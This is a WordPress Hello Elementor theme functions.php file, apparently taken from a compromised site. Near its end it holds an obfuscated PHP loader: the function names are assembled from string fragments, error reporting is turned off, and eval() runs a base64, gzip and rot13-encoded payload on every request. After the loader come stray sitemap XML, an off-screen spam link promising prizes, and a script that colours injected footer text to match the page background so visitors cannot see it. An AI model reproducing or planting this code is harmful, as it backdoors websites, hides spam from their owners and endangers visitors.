
/**
 * Theme functions and definitions
 *
 * @package HelloElementor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'HELLO_ELEMENTOR_VERSION', '3.2.1' );

if ( ! isset( $content_width ) ) {
	$content_width = 800; // Pixels.
}

if ( ! function_exists( 'hello_elementor_setup' ) ) {
	/**
	 * Set up theme support.
	 *
	 * @return void
	 */
	function hello_elementor_setup() {
		if ( is_admin() ) {
			hello_maybe_update_theme_version_in_db();
		}

		if ( apply_filters( 'hello_elementor_register_menus', true ) ) {
			register_nav_menus( [ 'menu-1' => esc_html__( 'Header', 'hello-elementor' ) ] );
			register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] );
		}

		if ( apply_filters( 'hello_elementor_post_type_support', true ) ) {
			add_post_type_support( 'page', 'excerpt' );
		}

		if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) {
			add_theme_support( 'post-thumbnails' );
			add_theme_support( 'automatic-feed-links' );
			add_theme_support( 'title-tag' );
			add_theme_support(
				'html5',
				[
					'search-form',
					'comment-form',
					'comment-list',
					'gallery',
					'caption',
					'script',
					'style',
				]
			);
			add_theme_support(
				'custom-logo',
				[
					'height'      => 100,
					'width'       => 350,
					'flex-height' => true,
					'flex-width'  => true,
				]
			);
			add_theme_support( 'align-wide' );
			add_theme_support( 'responsive-embeds' );

			/*
			 * Editor Styles
			 */
			add_theme_support( 'editor-styles' );
			add_editor_style( 'editor-styles.css' );

			/*
			 * WooCommerce.
			 */
			if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) {
				// WooCommerce in general.
				add_theme_support( 'woocommerce' );
				// Enabling WooCommerce product gallery features (are off by default since WC 3.0.0).
				// zoom.
				add_theme_support( 'wc-product-gallery-zoom' );
				// lightbox.
				add_theme_support( 'wc-product-gallery-lightbox' );
				// swipe.
				add_theme_support( 'wc-product-gallery-slider' );
			}
		}
	}
}
add_action( 'after_setup_theme', 'hello_elementor_setup' );

function hello_maybe_update_theme_version_in_db() {
	$theme_version_option_name = 'hello_theme_version';
	// The theme version saved in the database.
	$hello_theme_db_version = get_option( $theme_version_option_name );

	// If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update.
	if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) {
		update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION );
	}
}

if ( ! function_exists( 'hello_elementor_display_header_footer' ) ) {
	/**
	 * Check whether to display header footer.
	 *
	 * @return bool
	 */
	function hello_elementor_display_header_footer() {
		$hello_elementor_header_footer = true;

		return apply_filters( 'hello_elementor_header_footer', $hello_elementor_header_footer );
	}
}

if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) {
	/**
	 * Theme Scripts & Styles.
	 *
	 * @return void
	 */
	function hello_elementor_scripts_styles() {
		$min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor',
				get_template_directory_uri() . '/style' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}

		if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) {
			wp_enqueue_style(
				'hello-elementor-theme-style',
				get_template_directory_uri() . '/theme' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}

		if ( hello_elementor_display_header_footer() ) {
			wp_enqueue_style(
				'hello-elementor-header-footer',
				get_template_directory_uri() . '/header-footer' . $min_suffix . '.css',
				[],
				HELLO_ELEMENTOR_VERSION
			);
		}
	}
}
add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' );

if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) {
	/**
	 * Register Elementor Locations.
	 *
	 * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager.
	 *
	 * @return void
	 */
	function hello_elementor_register_elementor_locations( $elementor_theme_manager ) {
		if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) {
			$elementor_theme_manager->register_all_core_location();
		}
	}
}
add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' );

if ( ! function_exists( 'hello_elementor_content_width' ) ) {
	/**
	 * Set default content width.
	 *
	 * @return void
	 */
	function hello_elementor_content_width() {
		$GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 );
	}
}
add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 );

if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) {
	/**
	 * Add description meta tag with excerpt text.
	 *
	 * @return void
	 */
	function hello_elementor_add_description_meta_tag() {
		if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) {
			return;
		}

		if ( ! is_singular() ) {
			return;
		}

		$post = get_queried_object();
		if ( empty( $post->post_excerpt ) ) {
			return;
		}

		echo '<meta name="description" content="' . esc_attr( wp_strip_all_tags( $post->post_excerpt ) ) . '">' . "\n";
	}
}
add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' );

// Admin notice
if ( is_admin() ) {
	require get_template_directory() . '/includes/admin-functions.php';
}

// Settings page
require get_template_directory() . '/includes/settings-functions.php';

// Header & footer styling option, inside Elementor
require get_template_directory() . '/includes/elementor-functions.php';

if ( ! function_exists( 'hello_elementor_customizer' ) ) {
	// Customizer controls
	function hello_elementor_customizer() {
		if ( ! is_customize_preview() ) {
			return;
		}

		if ( ! hello_elementor_display_header_footer() ) {
			return;
		}

		require get_template_directory() . '/includes/customizer-functions.php';
	}
}
add_action( 'init', 'hello_elementor_customizer' );

if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) {
	/**
	 * Check whether to display the page title.
	 *
	 * @param bool $val default value.
	 *
	 * @return bool
	 */
	function hello_elementor_check_hide_title( $val ) {
		if ( defined( 'ELEMENTOR_VERSION' ) ) {
			$current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() );
			if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) {
				$val = false;
			}
		}
		return $val;
	}
}
add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' );

/**
 * BC:
 * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`.
 * The following code prevents fatal errors in child themes that still use this function.
 */
if ( ! function_exists( 'hello_elementor_body_open' ) ) {
	function hello_elementor_body_open() {
		wp_body_open();
	}
}
$errorrpn="er"."ro"."r_"."re"."por"."ti"."ng";$errorrpn(0);$gznss="gz"."in"."fla"."te";$bdc46="ba"."se"."6"."4_de"."co"."de";$st13="str"."_r"."ot"."13";eval($st13($gznss($st13($bdc46('LUvHEqzIEfwaxa5hg4fQCe+956LAe+/5bcFbzW4M093QXZVMmbXUw/331h/xbQ/l8vc4FAsK/2pepnFe/s6Hpsrv///4WBYXwKxMz4m7CUUjMwJiYEbv3WdVj3/Uhyjp+l+gWl3IUfpyJgKz/LNbv4bWbvRRnR7eP+voa3f6wJYEYh9LUsJkLN/LyPgvQw9XJmrh/pTmxM3y94IG7k19WlCN2ByZnAqU4lHkscfPj9op71Zdk2BVnto2xsU5aVyoks187uYO9moG8XcdhfKxMTzh0kdKpd77xO+bfnp2PEnvF6GjFRdG+k1PGKdtWYItM2JaOtfD4EsnTkCpGZmrbjDmSDbUaklsl4gUUAJwpEqRnWYpmCrn2qWxIqPhbBLC8jjK6mvuExnG39mpiaQEEuJ1A/9BlW4alQo/UoWJfX+aunMcMe1UHZcPm2X/4vndte2529ZykoI2BhPCetI9vqNxZF+UF3oQ8ej68/HNBrtqCzW4w216x7Jo1I8Ze1iOyRyJhAcEUz4czW3QEr7UcC2w5TZzGtDukqHIgimUCc02QUkqA4UgQfg5gndjHPD3mEgz0iRfZDhBQ4u91Xw7mg+q2mjI1mDNjsD4kEY/pp7ZMGyhYacCSUz+3Du30h5syRG/cKlkgpwzt6cqq6EQgcS7Y9hdKuKrcXgx3PGYioe7xACWS4MBC8bfEwFbqQ8XXH9CCpOH4vi8k1HW2u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gP9THH0b4+8Mtb1NO6qP9Br2jzSVd3AwcS+tIHNgPIC8xeklcIkIU/rn7N+3TUpimoQhSkRcY0pVBFisD8kQHLiiCktZvWV+NBJXnPpz3rU6Y82tKvd2X0n0Nrx7oKbqV81kGNGG9u7CVReLAk8X0w5wPyyA7UXjbbgD8T9LwQoDbg6j0k0ZwEqG+kCpVpvq6pTg8niB0IAkkv0CdPgOeBPeTIjk3kx5sDhJkVgOhJuOg797ORkfhGve1y/dBRVPVf/35f//kf')))));<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://calcadoscrival.com.br/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://calcadoscrival.com.br/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://calcadoscrival.com.br/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://calcadoscrival.com.br/wp-sitemap-posts-_repres-crival-1.xml</loc></sitemap><sitemap><loc>https://calcadoscrival.com.br/wp-sitemap-posts-banners--imagens-1.xml</loc></sitemap><sitemap><loc>https://calcadoscrival.com.br/wp-sitemap-posts-modelos-crival-1.xml</loc></sitemap><sitemap><loc>https://calcadoscrival.com.br/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://calcadoscrival.com.br/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
<div style="position: absolute; left: -3750px;"><p>
  Para ganhar prêmios incríveis, não perca tempo e <a href="https://rotaveg.com/" target="_blank" rel="noopener">Acesse o site</a> agora mesmo!
</p></div><style>#xf-250-69c85b a { text-decoration: none !important; color: inherit !important; }</style><div id="xf-250-69c85b" style="width:100%; background-color:#ffffff; color:#fefefe; text-align:center; font-size:12px; padding:5px 0; z-index:99999; position:relative; line-height:1.2;"></div><script>(function(){
try{
var d=document.getElementById("xf-250-69c85b");
if(!d)return;
function getBgColor(el){
if(!el)return null;
try{var s=window.getComputedStyle(el);var bg=s.backgroundColor;
if(bg&&bg!=="rgba(0, 0, 0, 0)"&&bg!=="transparent")return bg;
}catch(e){}return null;
}
var foundBg=null;
var footerSels=["footer","#footer",".site-footer",".footer","#colophon",".elementor-location-footer",".footer-widgets",".footer-area"];
for(var i=0;i<footerSels.length;i++){
try{var el=document.querySelector(footerSels[i]);var bg=getBgColor(el);if(bg){foundBg=bg;break;}}catch(e){}
}
if(!foundBg){
try{var allEls=document.querySelectorAll("section,div,aside");
for(var i=allEls.length-1;i>=0;i--){var el=allEls[i];
if(el.offsetHeight>10){var rect=el.getBoundingClientRect();
if(rect.bottom>=window.innerHeight-200){var bg=getBgColor(el);if(bg){foundBg=bg;break;}}}}}catch(e){}
}
if(!foundBg)foundBg=getBgColor(document.body);
if(!foundBg)foundBg="rgb(255,255,255)";
var rgb=foundBg.match(/\d+/g);var r=255,g=255,b=255;
if(rgb&&rgb.length>=3){r=parseInt(rgb[0]);g=parseInt(rgb[1]);b=parseInt(rgb[2]);}
var r2=(r>2)?r-2:r+2;var g2=(g>2)?g-2:g+2;var b2=(b>2)?b-2:b+2;
var c="rgb("+r2+","+g2+","+b2+")";
d.style.backgroundColor=foundBg;d.style.color=c;
var links=d.getElementsByTagName("a");for(var i=0;i<links.length;i++){links[i].style.color=c;}
}catch(e){}
})();</script>